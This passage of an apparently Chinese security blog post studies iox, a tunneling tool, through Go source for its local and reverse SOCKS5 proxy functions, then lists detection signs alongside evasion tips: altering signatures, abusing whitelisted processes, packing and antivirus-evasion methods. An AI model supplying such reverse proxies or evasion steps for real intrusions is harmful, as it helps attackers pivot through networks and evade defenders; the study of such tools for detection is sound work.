func Remote2Remote(remoteA string, remoteB string, raenc bool, rbenc bool) {  if option.PROTOCOL == "TCP" {    logger.Success("Forward TCP traffic between %s (encrypted: %v) and %s (encrypted: %v)",      remoteA, raenc, remoteB, rbenc)    remote2remoteTCP(remoteA, remoteB, raenc, rbenc)  } else {    logger.Success("Forward UDP traffic between %s (encrypted: %v) and %s (encrypted: %v)",      remoteA, raenc, remoteB, rbenc)    remote2remoteUDP(remoteA, remoteB, raenc, rbenc)  }}

(8)proxy.go

package operate
import (  "iox/logger"  "iox/netio"  "iox/socks5"  "net"  "os"  "os/signal")
func ProxyLocal(local string, encrypted bool) {  listener, err := net.Listen("tcp", local)  if err != nil {    logger.Warn("Socks5 listen on %s error: %s", local, err.Error())    return  }
 logger.Success("Start socks5 server on %s (encrypted: %v)", local, encrypted)
 for {    conn, err := listener.Accept()    if err != nil {      logger.Warn("Socks5 handle local connect error: %s", err.Error())      continue    }
   go func() {      defer conn.Close()      connCtx, err := netio.NewTCPCtx(conn, encrypted)      if err != nil {        return      }
     socks5.HandleConnection(connCtx)    }()  }}
func ProxyRemote(remote string, encrypted bool) {  session, ctlStream, err := clientHandshake(remote)  if err != nil {    logger.Warn(err.Error())    return  }  defer session.Close()
 logger.Success("Remote socks5 handshake ok (encrypted: %v)", encrypted)
 connectRequest := make(chan uint8, MAX_CONNECTION)  defer close(connectRequest)  endSignal := make(chan struct{})
 // handle ctrl+C  {    sigs := make(chan os.Signal)    signal.Notify(sigs, os.Interrupt)    go func() {      <-sigs      ctlStream.Write(marshal(Protocol{        CMD: CTL_CLEANUP,        N:   0,      }))      logger.Success("Recv Ctrl+C, exit now")      os.Exit(0)    }()  }
 // handle ctl stream  go func() {    defer ctlStream.Close()
   for {      pb, err := readUntilEnd(ctlStream)      if err != nil {        logger.Warn("Control connection has been closed, exit now")        os.Exit(-1)      }
     p := unmarshal(pb)      switch p.CMD {      case CTL_CONNECT_ME:        connectRequest <- p.N      case CTL_CLEANUP:        endSignal <- struct{}{}        return      }    }  }()
 // handle CONNECT_ME request  for {    select {    case <-endSignal:      logger.Success("Recv exit signal from remote, exit now")      return    case n := <-connectRequest:      for n > 0 {        go func() {          stream, err := session.OpenStream()          if err != nil {            logger.Info(err.Error())            return          }          defer stream.Close()
         connCtx, err := netio.NewTCPCtx(stream, encrypted)          if err != nil {            return          }
         socks5.HandleConnection(connCtx)        }()        n--      }    }  }}
func ProxyRemoteL2L(control string, local string, cenc bool, lenc bool) {  masterListener, err := net.Listen("tcp", control)  if err != nil {    logger.Warn("Listen on %s error", control)    return  }  defer masterListener.Close()
 logger.Info("Listen on %s for reverse socks5", control)
 localListener, err := net.Listen("tcp", local)  if err != nil {    logger.Warn("Listen on %s error", local)    return  }  defer localListener.Close()
 session, ctlStream, err := serverHandshake(masterListener)  if err != nil {    logger.Warn(err.Error())    return  }  defer session.Close()  defer ctlStream.Close()
 logger.Success("Reverse socks5 server handshake ok from %s (encrypted: %v)", session.RemoteAddr().String(), cenc)  logger.Success("Socks5 server is listening on %s (encrypted: %v)", local, lenc)
 // handle ctrl+C  {    sigs := make(chan os.Signal)    signal.Notify(sigs, os.Interrupt)    go func() {      <-sigs      ctlStream.Write(marshal(Protocol{        CMD: CTL_CLEANUP,        N:   0,      }))      logger.Success("Recv Ctrl+C, exit now")      os.Exit(0)    }()  }
 localConnBuffer := make(chan net.Conn, MAX_CONNECTION)  defer close(localConnBuffer)
 // handle ctl stream read  go func() {    for {      pb, err := readUntilEnd(ctlStream)      if err != nil {        logger.Warn("Control connection has been closed, exit now")        os.Exit(-1)      }
     p := unmarshal(pb)      switch p.CMD {      case CTL_CLEANUP:        logger.Success("Recv exit signal from remote, exit now")        os.Exit(0)      }    }  }()
 // handle local connection  go func() {    for {      localConn, err := localListener.Accept()      if err != nil {        continue      }
     localConnBuffer <- localConn
     _, err = ctlStream.Write(marshal(Protocol{        CMD: CTL_CONNECT_ME,        N:   1,      }))      if err != nil {        logger.Warn("Control connection has been closed, exit now")        os.Exit(-1)      }    }  }()
 for {    remoteStream, err := session.AcceptStream()    if err != nil {      continue    }
   localConn := <-localConnBuffer
   go func() {      defer remoteStream.Close()      defer localConn.Close()
     remoteConnCtx, err := netio.NewTCPCtx(remoteStream, cenc)      if err != nil {        return      }
     localConnCtx, err := netio.NewTCPCtx(localConn, lenc)      if err != nil {        return      }
     netio.PipeForward(remoteConnCtx, localConnCtx)    }()  }}

2、检测与绕过

(1)特征字符串和特征码

命令和log里的特征字符串可以作为检测特征

然后是代码里的特征码

绕过方法:修改掉相应的特征

(2)端口控制

这类端口转发的工具,如果端口限制死就失去作用了

绕过方法:无

(3)进程和库调用

通过终端的进程链控制和第三方库的调用情况在做检测

绕过方法:白进程利用,尽可能不调用库,加壳,主要是木马免杀那套

(4)SOCKS代理的检测

这是IDS这块,具体原理不清

结语

iox主要是比较新


阅读原文:原文链接


该文章在 2025/10/9 13:20:31 编辑过
关键字查询
相关文章
正在查询...
点晴ERP是一款针对中小制造业的专业生产管理软件系统,系统成熟度和易用性得到了国内大量中小企业的青睐。
点晴PMS码头管理系统主要针对港口码头集装箱与散货日常运作、调度、堆场、车队、财务费用、相关报表等业务管理,结合码头的业务特点,围绕调度、堆场作业而开发的。集技术的先进性、管理的有效性于一体,是物流码头及其他港口类企业的高效ERP管理信息系统。
点晴WMS仓储管理系统提供了货物产品管理,销售管理,采购管理,仓储管理,仓库管理,保质期管理,货位管理,库位管理,生产管理,WMS管理系统,标签打印,条形码,二维码管理,批号管理软件。
点晴免费OA是一款软件和通用服务都免费,不限功能、不限时间、不限用户的免费OA协同办公管理系统。
Copyright 2010-2025 ClickSun All Rights Reserved